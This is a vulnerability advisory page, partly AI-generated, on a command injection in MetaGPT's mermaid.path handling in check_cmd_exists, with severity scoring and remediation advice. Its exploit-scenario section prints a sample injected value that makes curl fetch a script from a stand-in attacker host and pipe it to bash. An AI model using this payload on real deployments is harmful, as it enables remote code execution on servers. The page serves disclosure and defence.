Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to MetaGPT with low privileges
-
DeliverySupply malicious shell payload in mermaid.path config
-
ExploitTrigger Mermaid diagram rendering workflow
-
Executioncheck_cmd_exists invokes unsanitized path in shell
-
PersistInjected OS commands execute server-side
-
ImpactAchieve confidentiality, integrity, or availability impact
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an attacker to hold a low-privileged authenticated session with the MetaGPT application (PR:L per CVSS vector - unauthenticated exploitation is not supported by the available data). The attacker must additionally be able to supply or influence the mermaid.path configuration parameter that is passed to the check_cmd_exists function; if this configuration value is locked down to administrator-only modification, the attack surface is substantially reduced. High attack complexity (AC:H) indicates that additional conditions beyond standard access must be met - likely relating to triggering the specific code path that invokes check_cmd_exists with the attacker-controlled value, which may require a specific workflow or diagram generation event within MetaGPT. Exploitation is limited to MetaGPT versions 0.8.2 and earlier; the Mermaid rendering integration must be in use. Limiting factors that constrain real-world exploitation include: required prior authentication (PR:L), high complexity prerequisites (AC:H), and the need for configuration write access to the mermaid.path parameter. |
| Impact | The CVSS 3.1 base score of 5.0 (Medium) reflects a balanced set of signals: AV:N confirms the attack is initiated remotely over a network, but AC:H indicates high complexity - meaning the attacker must navigate specific conditions or race states not always under their direct control. PR:L confirms that low-level authenticated access is required, ruling out unauthenticated opportunistic exploitation. The scope is unchanged (S:U) and all three CIA impacts are rated Low, indicating limited blast radius per successful exploitation. The temporal modifiers refine this picture: E:P (proof-of-concept exploit exists publicly) meaningfully elevates urgency relative to the base score, while RL:X (remediation level unknown) reflects the vendor's non-response, and RC:R (reasonable confidence) indicates the vulnerability details are not yet independently confirmed by the vendor. EPSS data is absent from available intelligence, so probabilistic exploitation likelihood cannot be quantified. There is no CISA KEV listing, meaning no confirmed active exploitation in the wild has been attributed. The combination of AC:H and PR:L limits opportunistic mass exploitation - this is not a spray-and-pray vulnerability - but the public POC lowers the technical bar for targeted attacks against deployments where an attacker already holds low-privileged access and can influence the mermaid.path configuration. |
| Exploit ScenarioDerived | An attacker with low-privileged authenticated access to a MetaGPT instance - for example, a team member or API user - supplies a crafted mermaid.path value such as '/usr/bin/mmdc; curl http://attacker.example/shell.sh | bash' through a configuration interface or API parameter. When MetaGPT internally calls check_cmd_exists with this unsanitized value, the shell interprets the injected commands, executing arbitrary code on the server under the MetaGPT process's OS identity. A public proof-of-concept documenting this technique is available at the Notion page referenced in the CVE disclosures, lowering the skill threshold for exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 07, 2026
Command injection in FoundationAgents MetaGPT through version 0.8.2 allows a remote, low-privileged attacker to execute arbitrary OS commands by manipulating the mermaid.path configuration argument passed to the check_cmd_exists function in metagpt/utils/common.py. A publicly available proof-of-concept (documented on Notion) demonstrates exploitation; however, this is not listed in CISA KEV and the CVSS vector assigns high attack complexity (AC:H), tempering real-world exploitability. The vendor project has not responded to the responsible disclosure filed via GitHub issue #2037, and no patched release is available at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis; the upstream project has not responded to GitHub issue #2037 and remediation level is listed as unknown (RL:X) in the CVSS temporal vector. Organizations should monitor https://github.com/FoundationAgents/MetaGPT/issues/2037 and https://github.com/FoundationAgents/MetaGPT/ for patch availability. In the interim, the most impactful compensating control is to restrict or remove the ability for non-administrative users to set or modify the mermaid.path configuration parameter, as attacker control over this value is the prerequisite for exploitation - note this may limit legitimate customization of Mermaid rendering paths. If Mermaid diagram generation is not actively required in the deployment, disabling this feature entirely eliminates the vulnerable code path with no functional trade-off for non-diagram workflows. If the feature must remain enabled, enforce strict allowlisting of the mermaid.path value to an absolute filesystem path containing only alphanumeric characters and path separators, blocking shell metacharacters at the application configuration layer. Deploying MetaGPT in a containerized or sandboxed environment (e.g., with a restricted seccomp profile or read-only filesystem mounts outside designated directories) would limit the OS-level impact of any successful command injection.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
MetaGPT is an AI multi-agent framework (CPE: cpe:2.3:a:foundationagents:metagpt:*:*:*:*:*:*:*:*) that integrates Mermaid diagram rendering into its workflow. The vulnerable code path resides in metagpt/utils/common.py within the check_cmd_exists function, which is responsible for verifying the existence of a command-line binary. The function accepts a mermaid.path configuration value - intended to point to the Mermaid CLI executable - but fails to sanitize or validate the input before incorporating it into a shell invocation. This matches CWE-77 (Improper Neutralization of Special Elements Used in a Command), where untrusted data containing shell metacharacters, command separators (e.g., semicolons, pipes, backticks), or substitution sequences are interpreted by the underlying shell, enabling injection of arbitrary commands. The Mermaid path is a configuration-level value, meaning the attack surface is tied directly to the ability to influence that configuration parameter.
Know when Metagpt gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A vulnerability was determined in FoundationAgents MetaGPT up to 0.8.2. Affected by this issue is the function check_cmd_exists of the file metagpt/utils/common.py. This manipulation of the argument mermaid.path causes command injection. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitation is known to be difficult. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
MetaGPT through 0.6.4 allows the QaEngineer role to execute arbitrary code because RunCode.run_script() passes shell met
MetaGPT has a code injection vulnerability in actionoutput_str_to_mapping (EPSS 2.6%) allowing remote attackers to execu
MetaGPT by Foundation Agents has an insecure deserialization in deserialize_message (EPSS 1.7%) enabling remote code exe
Remote command injection in FoundationAgents MetaGPT versions 0.8.0 and 0.8.1 via the get_mime_type function in metagpt/
Remote code execution in FoundationAgents MetaGPT up to version 0.8.1 allows unauthenticated attackers to execute arbitr
Code injection in FoundationAgents MetaGPT versions up to 0.8.1 allows unauthenticated remote attackers to execute arbit
Remote code injection in FoundationAgents MetaGPT up to version 0.8.1 allows unauthenticated attackers to execute arbitr
Code injection in FoundationAgents MetaGPT versions up to 0.8.1 allows unauthenticated remote attackers to execute arbit
Remote command injection in FoundationAgents MetaGPT versions up to 0.8.1 allows unauthenticated network attackers to ex
Server-side request forgery (SSRF) in FoundationAgents MetaGPT up to version 0.8.1 allows authenticated remote attackers
A code injection vulnerability exists in Foundation Agents MetaGPT up to version 0.8.1, specifically in the DataInterpre
A code injection vulnerability exists in Foundation Agents MetaGPT versions up to 0.8.1 within the code_generate functio
EUVD-2026-34985
GHSA-h4jg-8v58-57wj
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB